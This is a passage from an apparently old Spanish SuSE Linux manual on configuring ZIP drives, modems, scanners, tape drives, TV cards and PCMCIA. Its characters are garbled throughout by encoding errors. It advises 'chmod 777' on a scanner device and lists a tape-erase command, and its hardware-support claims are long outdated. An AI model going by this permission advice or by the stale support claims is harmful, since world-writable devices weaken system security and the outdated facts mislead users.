(ver el apartado 10.5.3 en la pßgina siguiente).
Informaci≤n adicional
Los ficheros parport.txt y paride.txt del directorio /usr/src/linux/
Documentation en las fuentes del kernel, ofrecen mßs informaci≤n al re-
specto.
Bajo http://www.torque.net/linux-pp.html o http://www.torque.
net/parport/, hay informaci≤n sobre el estado actual del parport .
10.4.4 USB ~ Universal Serial Bus
El USB (Universal Serial Bus) es una de las grandes novedades de los ·ltimos
a±os. Es posible conectar muchos dispositivos como p. ej. teclado, mouse,
impresora o escßner de forma sencilla. Todos los dispositivos tienen el mis-
mo enchufe y se conectan con el mismo cable. Asφ se evita tener muchos
cables diferentes como RS232 o Centronics. Ademßs es posible conectar
dispositivos durante el uso de la computadora sin necesidad de reiniciar; la
especificaci≤n del bus ya contempla esta posibilidad.
Lamentablemente el soporte de USB a·n no estß desarrollado por completo
para Linux. Por eso no es posible usar dispositivos del tipo USB en Linux.
Bajo http://www.linux-usb.org/ se encuentra mßs informaci≤n sobre la
implementaci≤n de USB en Linux.
10.5 Unidades de almacenamiento removibles
Con Linux se pueden usar muchas unidades de disco removibles: Dis-
queteras, Unidades iomega-Zip, JAZ-Drives, discos SyQuest, unidades
magneto-≤pticas ~ todo es posible.
10.5.1 Disqueteras
Para poder acceder c≤modamente a diquetes formateados en MS-DOS, se
desarroll≤ el paquete mtools. El apartado 19.12 en la pßgina 486Comandos
DOS bajo Unix usando mtools section.19.12, informa sobre las posibilidades
y el uso de estos programas.
Los disquetes en formato ext2 o minix tambiΘn se pueden usar, tal como
muchos otros sistemas de fichero. Es preciso incorporar estos disquetes al
sistema de ficheros mediante el comando mount ; hay mßs detalles en el
apartado 19.11 en la pßgina 484Sistemas de fichero en Linux ~ mount y
umount section.19.11.
10.5.2 Disqueteras LS-120
Las disquetera del tipo LS-120 se conectan a la controladora IDE y por tanto
el sistema las trata como discos duros. Hay que incorporarlas al igual que los
discos duros con el comando mount al sistema de ficheros.
302
___________________________________________________________10.5.__Unidades_de_almacenamiento_removibles_____________________*
*______________________
10.5.3 Disqueteras ZIP
Hay disqueteras ZIP para distintas interfaces: Puerto paralelo, IDE, SCSI y
ahora tambiΘn para el USB (actualmente a·n no estß soportado).
No se requiere ning·n driver especial para los ZIPs del tipo SCSI o IDE; se
conectan al bus correspondiente y los drivers para IDE o SCSI las reconocen.
DespuΘs se accede a los dispositivos a travΘs de los ficheros de dispositivo
/dev/hda - /dev/hdd para IDE (ATAPI)
y
/dev/sda - /dev/sdm para SCSI
En este caso tambiΘn hay que usar mount para montar los dispositivos.
La inicializaci≤n del mismo aparato con interfaz de puerto paralelo a veces
resulta un poco mßs complicada, ya que se necesita el soporte de discos
duros SCSI, el soporte parport y parport_pc (ver el apartado 10.4.3 en
la pßgina 300Conexiones de puerto paralelosubsection.10.4.3) tal como los
drivers de kernel ppa y imm 3 . imm soporta las unidades mßs recientes (p. ej.
el ZIP 250), por lo tanto es preferible tratar de cargar primero imm . Asegure
que el modo de trabajo del puerto paralelo estΘ configurado como EPP (a
configurar en la BIOS):
tierra: # modprobe imm
Si esto no funciona, se puede probar con ppa :
tierra: # modprobe ppa
De esta forma el sub-sistema parport deberφa inicializarse automßti-
camente. Si no funciona, consulte primero en la pßgina 300Inicializar
parport Hfootnote.47.
A veces una entrada en /etc/conf.modules es suficiente para que to-
do funcione (ver fichero 10.5.1). Solo se puede definir un alias para
scsi_hostadapter si la computadora no tiene ninguna controladora SC-
SI real. Una alternativa serφa incorporar los comandos modprobe necesarios
en el script de arranque /sbin/init.d/boot.local (ver el apartado 17.4
en la pßgina 434Los Init-scriptssection.17.4).
_______________________________________________________________________________________________________________________||
|||||||| # alias scsi_hostadapter ppa |
|||||||| pre-install ppa modprobe "-k" parport_pc |
||||||||_______________________________________________________________________________________________________________ |
Fichero 10.5.1: /etc/conf.modules : Configuraci≤n ppa
Ahora se puede acceder a los disquetes ZIP asφ como a discos duros SCSI, por
lo tanto tambiΘn es necesario montar este medio (ver el apartado 19.11.2 en la
pßgina 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2).
3 ____________________________________________________
ppa y imm forman parte de los ''SCSI low-level drivers'' en el men· de configuraci≤n del
kernel, sin embargo no hace falta generar un kernel propio, ya que los m≤dulos necesarios estßn
precompilados como parte de SuSE Linux.
*
* 303
10. Linux y el hardware_adicional_________________________________________________________________________________________________*
*_______________________________________@
10.6 Modems
10.6.1 Modem externo
Los modems externos se conectan directamente al puerto serie de la computa-
dora. Los programas se comunican entonces con el modem a travΘs de uno
de los ficheros de dispositivo /dev/ttyS0, /dev/ttyS1, etc. La configu-
raci≤n del acceso a Internet con un modem se detalla en el apartado 6.5 en la
pßgina 189Conexi≤n de modemsection.6.5.
10.6.2 Modem interno
Los modem internos se conectan bien con el bus PCI o bien con el bus ISA, asφ
como se explica con mßs detalle en el apartado 10.2 en la pßgina 287Tarjetas
de expansi≤nsection.10.2.
Como los modems en general se controlan por medio de un puerto serie,
tambiΘn aquellos del tipo interno tienen que proporcionar un puerto serie.
La tabla 10.2 muestra un resumen de los recursos estßndar para puertos serie.
________________________________________________________________________________________________________*
*__________
|__Fichero_de_dispositivo__|_____________Nombre__|________Interupci≤n__|________Direcci≤n_E/S___________*
*__________|_
|__/dev/ttyS0_________________|__________COM1__________|__4___________________|_0x3f8___________________*
*__________|
|__/dev/ttyS1_________________|__________COM2__________|__3___________________|_0x2f8___________________*
*__________|
|__/dev/ttyS2_________________|__________COM3__________|__4___________________|_0x3e8___________________*
*__________|
|__/dev/ttyS3_________________|__________COM4__________|__3___________________|_0x2e8___________________*
*__________|
Tabla 10.2: Recursos estßndar para un puerto serie
Modem-PCI
Si tiene un modem del tipo PCI, lo mßs probable es que se trate de un ''Win-
modem''. Winmodems en realidad no son modems ;-) ~ sino dispositivos
que precisan de un driver especial que emula un modem normal. Este driv-
er proporciona el fabricante del dispositivo y actualmente solo existe para
Microsoft Windows.
Informaci≤n mßs detallada sobre Winmodems y su soporte bajo Linux se
encuentra bajo URL http://www.o2.net/~gromitkc/winmodem.html.
Modems-ISA
Para usar modems del tipo ISA se precisan dos pasos:
o Hay que configurar el modem en si, o sea la interrupci≤n (IRQ) y la
direcci≤n de entrada y salida (IO-address) de la interfaz.
o Hay que informar al kernel sobre la interfaz nueva.
304
______________________________________________________________________________________________________________10.7.__Escßner*
*______________________
Inicializaci≤n del modem
Como ya se ha mencionado en el apartado 10.2 en la pßgina 287Tarjetas de
expansi≤nsection.10.2, las tarjetas con bus ISA pueden ser del tipo Legacy,
Jumperless o PnP. El apartado presente cubre (tambiΘn) la activaci≤n de las
tarjetas PnP.
Consejos de configuraci≤n:
Lo menos problemßtico es el uso de /dev/ttyS1 con IRQ 3 (COM2 ), ya que
la otra posibilidad (/dev/ttyS3 con IRQ 4) puede provocar problemas con
/dev/ttyS0 (COM1 ). Este interfaz normalmente usa tambiΘn la IRQ 4. Por
eso nunca debe usar /dev/ttyS0 ni /dev/ttyS2, si existe un mouse de
puerto serie en COM1 .
A su vez es mejor evitar las IRQs y 7, ya estßn muchas veces usadas por la
interfaz de la impresora y la tarjeta de sonido.
En caso de usar OSS para la tarjeta de sonido, verifique que Θsta no estΘ ac-
tivada en el fichero /etc/isapnp.conf (ACT Y debe figurar como comen-
tario).
Pasar los parßmetros al kernel
DespuΘs de la configuraci≤n del modem, es necesario informar el kernel sobre
la nueva interfaz. Si el modem se encuenta en /dev/ttyS0 o /dev/ttyS1
no hace falta modificar nada, sino que las interfaces se configuran de nuevo
despuΘs del reinicio del sistema.
Para otras combinaciones de puerto e IRQ, se requiere el uso de setserial para
dar de alta la interfaz:
tierra:/ # setserial /dev/ttyS3 irq 10
Posteriormente se puede proceder a configurar el acceso internet (ver el
apartado 6.5 en la pßgina 189Conexi≤n de modemsection.6.5)
Para automatizar la configuraci≤n mediante setserial , se puede modificar el
fichero /sbin/init.d/serial. Para el ejemplo de arriba habrφa que modi-
ficar la siguiente lφnea:
# run_setserial /dev/ttyS3 $AUTO_IRQ autoconfig
de forma que aparezca:
run_setserial /dev/ttyS3 irq 10
10.7 Escßner
Para usar un escßner bajo Linux se necesita una serie de programas y drivers
especiales, igual que para otros sistemas operativos. El paquete sane (se-
rie gra) en combinaci≤n con paquete scsiinfo (serie ap) proporciona las
herramientas necesarias. Mediante SANE se puede usar un escßner que estΘ
conectado a una controladora SCSI que soporte Linux.
Actualmente no hay soporte para escßner en el puerto paralelo, aunque ya se
estßn desarrollando drivers para ello. Lo mismo ocurre con los escßneres para
el bus USB.
*
* 305
10. Linux y el hardware_adicional_________________________________________________________________________________________________*
*_______________________________________@
SANE se estß ampliando continuamente y la cantidad de escßneres so-
portados va creciendo. En el URL http://www.mostang.com/sane/
sane-backends.html se encuentra una lista con la versi≤n mßs nueva de
los escßneres soportados.
┐C≤mo se configura el escßner bajo Linux?
Bajo Linux los escßneres se tratan como ''generic scsi devices'' con los
ficheros de dispositivo correspondientes /dev/sg0, /dev/sg1, etc.
Para encontrar el fichero de dispositivo correcto, use el programa sgcheck :
tierra:/ # sgcheck
Deberφa aparecer un mensaje como el siguiente:
Assignment of generic SCSI devices,
device host/channel/ID/LUN type(numeric type) vendor model:
/dev/sg0 0/0/0/0 Direct-Access(0) SEAGATE ST32550N
/dev/sg1 0/0/1/0 CD-ROM(5) PIONEER CD-ROM DR-U10X
/dev/sg2 0/0/5/0 Processor(3) HP C2500A
Los escßneres se identifican con la denominaci≤n Processor o SCANNER . En
el ejemplo expuesto, se puede acceder al escßner por el fichero /dev/sg2.
Ahora hay que generar un enlace simb≤lico desde este fichero hacia /dev/
scanner:
tierra:/ # ln -s /dev/sg2 /dev/scanner
DespuΘs de esto se deben modificar los derechos sobre el dispositivo genΘrico
SCSI. SANE espera derechos de lectura y tambiΘn de escritura, ya que el
programa tiene que enviar comandos al escßner:
tierra:/ # chmod 777 /dev/sg2
Problema
Si SANE no encuentra el escßner, es posible que ni siquiera la controladora
SCSI lo reconozca. Por eso pruΘbelo con:
tierra:/ # cat /proc/scsi/scsi
Deberφan aparecer una indicaciones parecidas a:
Attached devices:
Host: scsi0 Channel: 00 Id: 00 Lun: 00
Vendor: SEAGATE Model: ST32550N Rev: 0016
Type: Direct Access ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 01 Lun: 00
Vendor: PIONEER Model: CD-ROM DR-U10X Rev: 1.07
Type: CD-ROM ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 02 Lun: 00
Vendor: QUANTUM Model: FIREBALL TM3200S Rev: 1.07
Type: Direct-Access ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 06 Lun: 00
Vendor: SCANNER Model: Rev: 2.00
Type: Scanner ANSI SCSI revision: 01 CCS
306
_______________________________________________________________________________________________10.8.__Cintas_/_Streamer_____*
*______________________
Si no aparece ninguna lφnea con ''SCANNER'' o ''PROCESSOR'', la contro-
ladora no reconoce el escßner. Compruebe que el escßner estΘ encendido y
que el terminador del Bus SCSI estß correctamente instalado.
10.8 Cintas / Streamer
Unidades de cinta (ingl. Streamer) se usan sobre todo para respaldar grandes
cantidades de datos. Estas unidades estßn disponibles con diferentes inter-
faces de conexi≤n.
SCSI-Streamer
Los dispositivos mßs conocidos son aquellos que se conectan directamente
al bus SCSI. En principio, todos los dispositivos que se pueden conectar a
una controladora SCSI soportada por Linux, funcionan bajo Linux. Si la
unidad de cinta tuviera funciones especiales (p. ej. cambio automßtico de
cintas), es muy probable que se necesite software especial para aprovechar
estas funciones.
Una unidad de cinta tipo SCSI se controla de la siguiente forma:
o El primer streamer del sistema se controla con los ficheros de dispositi-
vo /dev/st0 y /dev/nst0, el siguiente con /dev/st1 y /dev/nst1,
etc. /dev/stX representa una unidad de cinta que rebobina al comienzo,
despuΘs de cada acci≤n.
/dev/nstX se refiere a una unidad que mantiene siempre la posici≤n
actual de la cinta.
Recomendamos usar /dev/nstX, ya que el comando mt permite contro-
lar exactamente la unidad de cinta.
o mt es el comando para enviar secuencias de control a la unidad de cinta.
tierra:/ # mt -f /dev/nst0 retension
Tensiona de nuevo la cinta, rebobinßndola desde el comienzo hasta el
final.
tierra:/ # mt -f /dev/nst0 rewind
Rebobina la cinta al comienzo.
tierra:/ # mt -f /dev/nst0 eom
Rebobina la cinta desde de la ·ltima grabaci≤n hacia atrßs, para a±adir
datos a una cinta parcialmente ocupada.
tierra:/ # mt -f /dev/nst0 erase
Borra la cinta. íCuidado! Todos los datos se pierden.
IDE-Streamer
Las unidades de cinta se conectan al bus IDE de la computadora y Linux
los reconoce automßticamente. Se puede usar a travΘs de los ficheros de
dispositivo /dev/ht0 o /dev/nht0.
Use el comando mt , asφ como se detalla en el apartado 10.8.
*
* 307
10. Linux y el hardware_adicional_________________________________________________________________________________________________*
*_______________________________________@
Floppy-Streamer
Las unidades de cinta tipo ''floppy'' se conectan en cadena al puerto de dis-
quetera que existe en todas las computadoras.
El control de estos dispositivos es difφcil de sincronizar, por eso frecuente-
mente se presentan problemas al grabar datos.
Con el driver especial ftape se pueden usar bajo Linux. Ese driver se sumin-
istra junto con el kernel. Su configuraci≤n se detalla en /usr/src/linux/
Documentation/ftape.txt; la documentaci≤n completa sobre el subsis-
tema ftape se encuentra en la ''Homepage'' del desarrollador del driver:
http://www.math1.rwth-aachen.de/~heine/ftape/.
10.9 Tarjetas TV
Desde hace alg·n tiempo ya, se puede ver la televisi≤n bajo Linux, usando
una tarjeta capturadora de vφdeo y el entorno grßfico (el sistema X Window).
Todo se realiza mediante una serie de m≤dulos de kernel y algunos programas
correspondientes.
┐Cußles tarjetas se soportan?
El soporte de una tarjeta depende bßsicamente del chip incorporado en la tar-
jeta. Los mßs difundidos son los ''Grabber-Chips'' de la empresa Brooktree.
Bajo Linux se puede usar tarjetas con los chips BT848 y ''BT878''. El soporte
para el BT878 a·n no es completo pero se puede considerar como estable.
Algunas tarjetas tφpicas que incorpora este chip son p. ej. Hauppauge
WIN/TV y Miro PC/TV .
┐C≤mo se activa el soporte de las tarjetas?
o Entrar al sistema como superusuario `root'
o Instalar con YaST el paquete bttv de la serie gra.
o Entrar al directorio /usr/doc/packages/bttv/tools para iniciar el
programa update :
tierra:/ # cd /usr/doc/packages/bttv/tools
tierra:/usr/doc/packages/bttv/tools # ./update
Este script prepara el sistema para el uso de las tarjetas TV. Primero re-
conoce la tarjeta TV usada y despuΘs se encarga de configurar los m≤dulos
necesarios.
Si se presentan problemas con la tarjeta TV, consulte primero la docu-
mentaci≤n en /usr/doc/packages/bttv/doc. Ademßs nuestro banco de
datos de soporte en urlhttp://sdb.suse.de/ contiene algunos artφculos sobre el
tema (palabra guφa: tv ).
308
Capφtulo 11
Portßtiles ~ PCMCIA, APM, IrDA
Los portßtiles suelen incorporar dispositivos especiales como p. ej. interfaces
de infrarrojo (IrDA), tarjetas PCMCIA o la administraci≤n avanzada de poten-
cia ''Advanced Power Management'' (APM). Estos componentes se encuen-
tran a veces tambiΘn en las computadoras de sobremesa y no se distinguen
mucho de los que incorporan los portßtiles. Por eso su configuraci≤n y su uso
estßn resumidos en este capφtulo.
Pare conseguir informaci≤n sobre determinados modelos de portßtiles se
recomienda visitar la ''Linux Laptop Homepage'' en http://www.cs.
utexas.edu/users/kharker/linux-laptop. Otra fuente de informa-
ci≤n es la ''LiLAC''-Homepage en http://home.snafu.de/wehe/index_
li.html. Allφ se encuentran dos Howto's interesantes sobre Laptops en
general y sobre IrDA.
11.1 PCMCIA
11.1.1 El hardware
PCMCIA es la abreviaci≤n de ''Personal Computer Memory Card Interna-
tional Association'' y se usa generalmente para todo el hardware y software
relacionado con ello. El componente clave es la tarjeta PCMCIA, de la que
se distinguen dos tipos diferentes:
Tarjetas PC: Son las tarjetas con difusi≤n mßs amplia y usan un bus de 16bit
para la transferencia de datos. Estas tarjetas suelen ser econ≤micas y
muchas de ellas se soportan sin problemas y de forma estable.
Tarjetas CardBus: Son tarjetas bajo un estßndar mßs nuevo con un bus de
32 Bit de anchura y mßs rßpidos pero tambiΘn mßs caros. El gasto adi-
cional para estas tarjetas normalmente no se justifica, ya que el cuello de
botella para la transferencia suele estar en otra parte, que no es el bus.
Ya existen varios drivers para estas tarjetas; algunos de ellos a·n son in-
estables (en funci≤n de la combinaci≤n de la controladora PCMCIA y la
tarjeta).
Cuando el servicio PCMCIA estΘ activo, el comando cardctl ident indica
la tarjeta que estΘ introducida en la ranura. Una lista de las tarjetas soportadas
se encuentra en SUPPORTED_CARDS en el fichero /usr/doc/packages/
pcmcia. Allφ se encuentra tambiΘn la ·ltima versi≤n del PCMCIA-HOWTO.
*
* 309
11. Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
*_______________________________________@
El segundo componente que se necesita para el soporte PCMCIA es la con-
troladora o bien el PC-Card/CardBus-Bridge. Este puente establece la comu-
nicaci≤n entre la tarjeta y el bus PCI o (en caso de mßquinas antiguas) el bus
ISA. Casi siempre las controladoras son compatibles con el chip i82365 de
Intel por lo que todos los modelos corrientes se soportan. Con el comando
probe se puede averiguar el tipo de controladora. Si la controladora conecta
al bus PCI se puede conseguir mßs informaci≤n con lspci -vt .
11.1.2 El software
Todos los programas y drivers que se necesitan y que no estßn incorporados en
el kernel, se encuentran en el paquete PCMCIA, serie a1. La base de todo estß
formada por los m≤dulos pcmcia_core, i82365, ds y (pocas veces) tcic.
Estos m≤dulos se cargan normalmente durante el inicio de la computadora,
inicializan las controladoras PCMCIA y proporcionan funciones bßsicas.
Es necesario un + Daemon que vigile las actividades de las tarjetas, ya que es
permitido cambiarlas en tiempo de ejecuci≤n. De esta tarea se ocupa el Card-
manager (cardmgr ), que se carga inmediatamente despuΘs de los m≤dulos
bßsicos. Cuando se inserta una tarjeta, el Cardmanager (ingl. administrador
de tarjetas) averigua el tipo y la funci≤n de la tarjeta para cargar los m≤dulos
correspondientes; con lsmod se puede verificar los m≤dulos cargados. Una
vez que todos los m≤dulos se hayan cargado con Θxito, el Cardmanager inicia
~ seg·n la funci≤n de la tarjeta ~ determinados scripts de inicializaci≤n, que
se encargan p. ej. de establecer la conexi≤n de red o de montar particiones
de discos duros externos del tipo SCSI. En el momento de quitar la tarjeta el
cardmanager se encarga de desactivar mediante los mismos script las diversas
actividades de la tarjeta. Finalmente los m≤dulos que ya no se necesitan se
descargan de la memoria.
Por eso, ''te≤ricamente'', es posible quitar las tarjetas sin ninguna precauci≤n
especial. Es algo que funciona muy bien para las tarjetas de red, RDSI o
los modems cuando ya no existe ninguna conexi≤n de red. No funciona en
relaci≤n a particiones montadas de un disco duro externo o con directorios
NFS. En estos ·ltimos casos hay que procurar sincronizar y desmontar las
unidades correctamente (umount ), ya que esto deja de ser posible una vez
que se haya sacado la tarjeta. En caso de duda se deberφa usar:
tierra: # cardctl eject
Este comando desactiva las tarjetas mientras se encuentren a·n en el portßtil.
11.1.3 La configuraci≤n
Cuando el paquete PCMCIA estß instalado, se encuentran cuatro variables
sobre Θste dentro de /etc/rc.config. START_PCMCIA indica si el servi-
cio PCMCIA se inicia durante el arranque. Es posible iniciar este servicio
manualmente, aunque START_PCMCIA estΘ en no . PCMCIA indica el tipo
de controladora PCMCIA y se configura automßticamente durante la insta-
laci≤n; casi siempre es i82365 . Las otras dos variables (PCMCIA_PCIC_OPTS
y PCMCIA_CORE_OPTS ) son para opciones de los m≤dulos bßsicos y nor-
malmente se pueden quedar vacφos. La opci≤n por defecto do_pnp=0 de
310
____________________________________________________________________________________________________________11.1.__PCMCIA___*
*______________________
PCMCIA_CORE_OPTS solo importa para los portßtiles de Compaq. Normal-
mente no se requiere ninguna configuraci≤n adicional del hardware, ya que el
Cardmanager (cardmgr ) se encarga de la selecci≤n del m≤dulo correcto.
Ethernet y TokenRing
Las conexiones de red tipo Ethernet o TokenRing se pueden configurar
sin ning·n problema con YaST . El formulario para la `Configuraci≤n
bßsica de red' se encuentra bajo `Administraci≤n del sistema'
! `Configuraci≤n de red' y la red se configura igual como si las tar-__
jetas fueran fijas. Aparte de esto solo falta indicar con |___F|9que la tarjeta
es del tipo PCMCIA; ver apartado 3.7.3 en la pßgina 108Configuraci≤n de
redsubsection.3.7.3. Tenga en cuenta los siguientes detalles:
o Con varios dispositivos de Ethernet o de TokenRing marcados como tipo
PCMCIA, solo se tiene en cuenta la configuraci≤n del primer dispositivo.
o En comparaci≤n a las tarjetas_de_red normales, la configuraci≤n se activa
inmediatamente al apretar |F____1|0.
o Los nombres de dispositivo que se indican (eth0 , eth1 , tr0 . . . ) se
entienden como mera informaci≤n sobre el tipo de dispositivo, ya que
la enumeraci≤n de los dispositivos es dinßmica para PCMCIA.
o Cuando un dispositivo estß desactivado y se_activa de nuevo con |____|F4, tam-
biΘn es preciso marcarlo nuevamente con |___F|9como dispositivo PCMCIA.
RDSI
TambiΘn las tarjetas PC del tipo RDSI se configuran como es habitual;
ver el apartado 6.2 en la pßgina 173Acceso a Internet vφa RDSI ~ la
configuraci≤nsection.6.2. La ·nica diferencia es que hace falta marcar el
dispositivo como PCMCIA, en `Configuraci≤n bßsica de red' (`Ad-
ministraci≤n_ del sistema', ! `Configuraci≤n de red') usando la
tecla ||_F|9. No hace falta indicar ni la interrupci≤n (IRQ) ni el puerto (IO-Port).
Tampoco se puede modificar el protocolo de transmisi≤n.
Existen tambiΘn tarjetas PCMCIA con modem RDSI. Estas suelen ser tarjetas
multifunci≤n con un ''kit'' de conexi≤n RDSI y su tratamiento es equivalente
al de un modem.
Modem
Las tarjetas PC con modem anal≤gico normalmente no conocen ninguna con-
figuraci≤n especφfica para PCMCIA. Cuando se inserta un modem, Θste es-
tß directamente disponible bajo /dev/modem. La configuraci≤n con wvdial
(wvdial ) es equivalente a la de un modem normal; ver apartado 6.6 en la
pßgina 190Con el modem a Internet: PPP con wvdial section.6.6.
SCSI y IDE
El gestor de tarjetas (Cardmanager) carga los m≤dulos adecuados. En el
momento de insertar una tarjeta SCSI o IDE, los dispositivos conectados a
ella estßn a disposici≤n. Los nombres de + dispositivo se averiguan de forma
*
* 311
11. Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
*_______________________________________@
dinßmica. La informaci≤n sobre los dispositivos SCSI o IDE se encuentra
bajo /proc/scsi o /proc/ide.
________________________________________________________________________________________________________*
*________|||
| *
* |||
| Los dispositivos externos como discos duros o lectores CDROM deben *
* |||
| estar encendidos, antes de introducir la tarjeta PCMCIA a su ranura. La *
* |||
| *
* |||
| terminaci≤n de los dispositivos SCSI debe ser activa. *
* |||
| Cuidado: Hay que desmontar todas las particiones de los dispositivos *
* |||
| *
* |||
| que estΘn conectados a una tarjeta antes de extraerla. En caso de haberlo *
* |||
| olvidado no se puede acceder a estos dispositivos antes de un reinicio del *
* |||
| *
* |||
| sistema, aunque el resto del sistema pueda funcionar perfectamente. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Es posible instalar Linux completamente en un disco duro externo, pero el
procedimiento de arranque resulta un poco mßs complicado. En todo caso
se necesita un ''Bootdisk'' con el kernel y un Ramdisk inicial (initrd); mßs
informaci≤n sobre ello en el apartado 16.2 en la pßgina 411Arrancar con ''ini-
tial ramdisk''section.16.2. La initrd contiene un sistema de ficheros virtual
que contiene todos los m≤dulos y programas necesarios para el soporte PCM-
CIA. El disquete de arranque ''Bootdisk'' de SuSE Linux y las imßgenes de
estos disquetes tienen esta misma estructura, por lo que siempre serφa posible
arrancar la instalaci≤n externa mediante estos disquetes. La desventaja es que
se requiere cargar manualmente el soporte PCMCIA en cada inicio. Para los
usuarios avanzados existe la posibilidad de generar un disquete de arranque
hecho a medida1 .
11.1.4 Configuraci≤n variable ~ ''Esquemas''
Una computadora m≤vil necesita muchas veces una configuraci≤n diferente
que depende del lugar en el cual debe operar (p. ej. en el trabajo y en casa).
Se puede realizar fßcilmente con dispositivos PCMCIA, pero se requiere la
adaptaci≤n manual de los ficheros de configuraci≤n, ya que YaST a·n no es
capaz de encargarse de ello. La siguiente descripci≤n no se refiere a tarjetas
RDSI ni a modems 2 .
Hablando de PCMCIA, una configuraci≤n se denomina ''esquema'', (ingl.
Scheme). Los ficheros de configuraci≤n para los dispositivos PCMCIA que
se encuentran bajo /etc/pcmcia/*.opts pueden albergar varios esquemas.
Los datos de un esquema aparecen en estos ficheros en forma de bloques de
configuraci≤n y se puede acceder a estos mediante una ''direcci≤n''. Estas
direcciones se separan con comas, siendo la primera palabra el nombre del
esquema. Las demßs cadenas de texto contienen informaci≤n, p. ej. sobre la
ranura en la que se encuentra la tarjeta o el n·mero de una partici≤n del disco
duro. Hay informaci≤n mßs detallada sobre este tema al comienzo de los
ficheros /etc/pcmcia/*.opts y en el PCMCIA-HOWTO. El esquema por
defecto de SuSE Linux se denomina SuSE . Este esquema (SuSE ) se modifica
mediante SuSEconfig , si la conexi≤n de red se ha configurado con YaST . Por
_____________________________________________1
Para mßs informaci≤n consulte en el PCMCIA-HOWTO el apartado 5.3 ''Booting from a
PCMCIA device''.
2 En caso de RDSI es posible generar varios dispositivos con la misma direcci≤n de red y la
misma ruta por defecto. Estos no se inician de forma automßtica sino manualmente. ~ En caso
de los modems se puede usar varios perfiles diferentes con wvdial .
312
____________________________________________________________________________________________________________11.1.__PCMCIA___*
*______________________
eso los||cambios||hechos a mano en este esquema se pierden en el pr≤ximo ||
inicio de|SuSEconfig|| . ||
_______________________________________________________________________________________________________________________||||
|||||||| # The address format is "scheme,socket,instance,hwaddr" . |
|||||||| case "$ADDRESS" in |
|||||||| SuSE,*,*,*) |
|||||||| INFO="This scheme is to be configured by YaST/SuSEconfig" |
|||||||| # [... gekⁿrzt ...] |
|||||||| |
|||||||| ;; |
|||||||| work,*,*,*) |
|||||||| INFO="Configuraci≤n de red para el trabajo vφa DHCP" |
|||||||| |
|||||||| IF_PORT="" |
|||||||| BOOTP="n" |
|||||||| DHCP="y" |
|||||||| IPADDR="" |
|||||||| |
|||||||| NETMASK="" |
|||||||| NETWORK="" |
|||||||| BROADCAST="" |
|||||||| GATEWAY="" |
|||||||| |
|||||||| DOMAIN="" |
|||||||| SEARCH="" |
|||||||| DNS_1="" |
|||||||| MOUNTS="" |
|||||||| |
|||||||| start_fn () { return; } |
|||||||| stop_fn () { return; } |
|||||||| ;; |
|||||||| home,*,*,*) |
|||||||| |
|||||||| INFO="Configuraci≤n de red para la casa con direcci≤n fija" |
|||||||| IF_PORT="" |
|||||||| BOOTP="n" |
|||||||| DHCP="n" |
|||||||| |
|||||||| IPADDR="10.0.1.23" |
|||||||| NETMASK="255.255.255.0" |
|||||||| NETWORK="10.0.1.0" |
|||||||| BROADCAST="10.0.1.255" |
|||||||| |
|||||||| GATEWAY="10.0.1.1" |
|||||||| DOMAIN="home.de" |
|||||||| SEARCH="home.de work.de" |
|||||||| DNS_1="10.0.1.1" |
|||||||| |
|||||||| MOUNTS="" |
|||||||| start_fn () { return; } |
|||||||| stop_fn () { return; } |
|||||||| |
|||||||| ;; |
|||||||| *,*,*,*) |
|||||||| INFO="Sample private network setup" |
|||||||| # [... cortado ...] |
|||||||| |
|||||||| ;; |
|||||||| esac |
||||||||_______________________________________________________________________________________________________________ |
Fichero 11.1.1: /etc/pcmcia/network.opts
Como ejemplo para la configuraci≤n de un esquema nos sirve aquφ una tarjeta
Ethernet. Se generan dos esquemas denominados work y home . Para ello se
necesitan varios bloques de configuraci≤n dentro del fichero /etc/pcmcia/
network.opts (ver fichero 11.1.1). Estos reciben las siguientes direcciones:
o SuSE,*,*,* : Conserve este bloque para mantener la posibilidad de con-
figurar de forma fßcil con YaST .
*
* 313
11. Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
*_______________________________________@
o work,*,*,* : Este bloque configura la red para el uso en el trabajo. De
forma anßloga,
o home,*,*,* : contiene los datos para conectarse en casa.
o *,*,*,* : Este bloque tambiΘn aparece por defecto y sirve para configurar
todos los esquemas que no han aparecido anteriormente.
El camino mßs fßcil para configurar un bloque es el de introducir los datos
deseados mediante YaST , copiar el bloque SuSE generado por SuSEconfig
y renombrarlo como work o home . Para configurar todo manualmente hace
falta conocer el significado de tΘrminos como NETMASK , BROADCAST , etc.
Esta informaci≤n se encuentra en la tabla 5.1 en la pßgina 156Requisitos,
Preparativostable.5.1; los valores especφficos se detallan en el PCMCIA-HOWTO
(en /usr/doc/packages/pcmcia se encuentra la ·ltima versi≤n).
| *
* |
________________________________________________________________________________________________________*
*________||
| image = /boot/vmlinuz *
* |
| root = /dev/hda7 *
* |
| *
* |
| label = work *
* |
| alias = w *
* |
| append = xzx SCHEME=work xzx *
* |
| # *
* |
| *
* |
| image = /boot/vmlinuz *
* |
| root = /dev/hda7 *
* |
| label = home *
* |
| alias = h *
* |
| *
* |
| append = xzx SCHEME=home xzx *
* |
| # *
* |
| image = /boot/vmlinuz *
* |
| root = /dev/hda7 *
* |
| *
* |
| label = suseconf *
* |
| alias = s *
* |
| append = xzx SCHEME=SuSE xzx *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 11.1.2: PCMCIA: Extracto de lilo.conf
Se puede cambiar de un esquema al otro en el momento de arrancar o
igualmente en tiempo de ejecuci≤n. Para conocer el esquema activo en
un determinado momento se puede usar el comando cardctl scheme .
Este mismo comando se usa para cambiar el esquema en tiempo de eje-
cuci≤n; en concreto con: cardctl scheme <Nombre_del_esquema> .
La selecci≤n del esquema no se pierde reiniciando la computadora, salvo
que se haya seleccionado explφcitamente otro esquema durante el arranque.
Para realizar esto se puede usar en el ''prompt'' de arranque (LILO: ) la
variable SCHEME=<Nombre_del_esquema> ; el apartado 14.3.2 en la pßgi-
na 360Parßmetros del kernel en el Boot-Promptsubsection.14.3.2 le informa
sobre el ''prompt'' de arranque.
Para definir uno o varios esquemas de arranque fijos se puede configurar
LILO al respecto, usando el parßmetro append en el fichero /etc/lilo.
